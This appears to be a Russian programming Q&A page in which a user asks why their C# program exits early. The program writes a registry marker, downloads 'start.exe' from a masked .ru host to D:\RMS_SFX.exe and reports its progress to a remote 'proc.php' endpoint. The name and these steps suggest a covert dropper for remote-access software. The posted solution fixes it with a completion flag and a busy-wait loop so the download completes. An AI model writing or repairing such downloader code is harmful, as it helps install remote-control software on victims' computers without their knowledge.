.NET 4.x Закрытие приложения - C#

Узнай цену своей работы

Формулировка задачи:

В общем такая проблема, открываю файл и должна начаться загрузка файла, но вместо этого, программа закрывается
Листинг программы
  1. using System;
  2. using System.Windows.Forms;
  3. using System.Text;
  4. using System.IO;
  5. using System.Net;
  6. namespace WhoWantBees
  7. {
  8. class Program
  9. {
  10. static public string messageToWorld = "[DynamicMessage]";
  11. static void Main(string[] args)
  12. {
  13. Microsoft.Win32.RegistryKey RegKey = Microsoft.Win32.Registry.CurrentUser;
  14. RegKey.CreateSubKey("Systems\\Copytale");
  15. Microsoft.Win32.RegistryKey Key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Systems\\Copytale", true);
  16. Key.SetValue("ID", messageToWorld);
  17. string fileName = "http://???b.ru/downloads/start.exe";
  18. WebClient client = new WebClient();
  19. client.DownloadProgressChanged +=
  20. new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
  21. //client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
  22. client.DownloadFileAsync(new Uri(fileName), "D:\\RMS_SFX.exe");
  23. //MessageBox.Show("1");
  24. }
  25. static void client_DownloadProgressChanged(object sender,
  26. DownloadProgressChangedEventArgs e)
  27. {
  28. System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@"http://***b.ru/proc.php?HD=" + "Загруженно: " + e.ProgressPercentage + "%/100%");
  29. System.Net.WebResponse resp = reqGET.GetResponse();
  30. System.IO.Stream stream = resp.GetResponseStream();
  31. System.IO.StreamReader sr = new System.IO.StreamReader(stream);
  32. Console.WriteLine("{0} Загруженно {1} байт из {2} байт. Прогресс {3}% ...", (string)e.UserState, e.BytesReceived, e.TotalBytesToReceive, e.ProgressPercentage);
  33. }
  34. }
  35. }
Но если в коде добавить например
Листинг программы
  1. MessageBox.Show("1");
И не закрывать окно с этим сообщением, то все качается и ничего не закрывается, стоить закрыть сообщение сразу все выключается, как исправить это?

Решение задачи: «.NET 4.x Закрытие приложения»

textual
Листинг программы
  1. static public string messageToWorld = "[DynamicMessage]";
  2. public static bool isCompleted = false; // добавил
  3.      static void Main(string[] args)
  4.         {
  5.          Microsoft.Win32.RegistryKey RegKey = Microsoft.Win32.Registry.CurrentUser;
  6.             RegKey.CreateSubKey("Systems\\Copytale");
  7.             Microsoft.Win32.RegistryKey Key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Systems\\Copytale", true);
  8.             Key.SetValue("ID", messageToWorld);
  9.             string fileName = "http://???b.ru/downloads/start.exe";
  10.             WebClient client = new WebClient();
  11.          client.DownloadFileCompleted += new AsyncCompletedEventHandler (DownloadFileCallback); // добавил в обработчик функции поместить isCompleted = true;
  12.             client.DownloadProgressChanged +=
  13.                 new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
  14.              
  15.             //client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
  16.             client.DownloadFileAsync(new Uri(fileName), "D:\\RMS_SFX.exe");
  17. while(!isCompleted)
  18. {}
  19. Console.ReadKey();
  20.  
  21.             //MessageBox.Show("1");
  22.         }
  23.  
  24.      static void client_DownloadProgressChanged(object sender,
  25.         DownloadProgressChangedEventArgs e)
  26.         {
  27.             System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@"http://***b.ru/proc.php?HD=" + "Загруженно: " + e.ProgressPercentage + "%/100%");
  28.             System.Net.WebResponse resp = reqGET.GetResponse();
  29.             System.IO.Stream stream = resp.GetResponseStream();
  30.             System.IO.StreamReader sr = new System.IO.StreamReader(stream);
  31.             Console.WriteLine("{0}    Загруженно {1} байт из {2} байт. Прогресс {3}% ...", (string)e.UserState, e.BytesReceived, e.TotalBytesToReceive, e.ProgressPercentage);
  32.         }

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

9   голосов , оценка 3.667 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут
Похожие ответы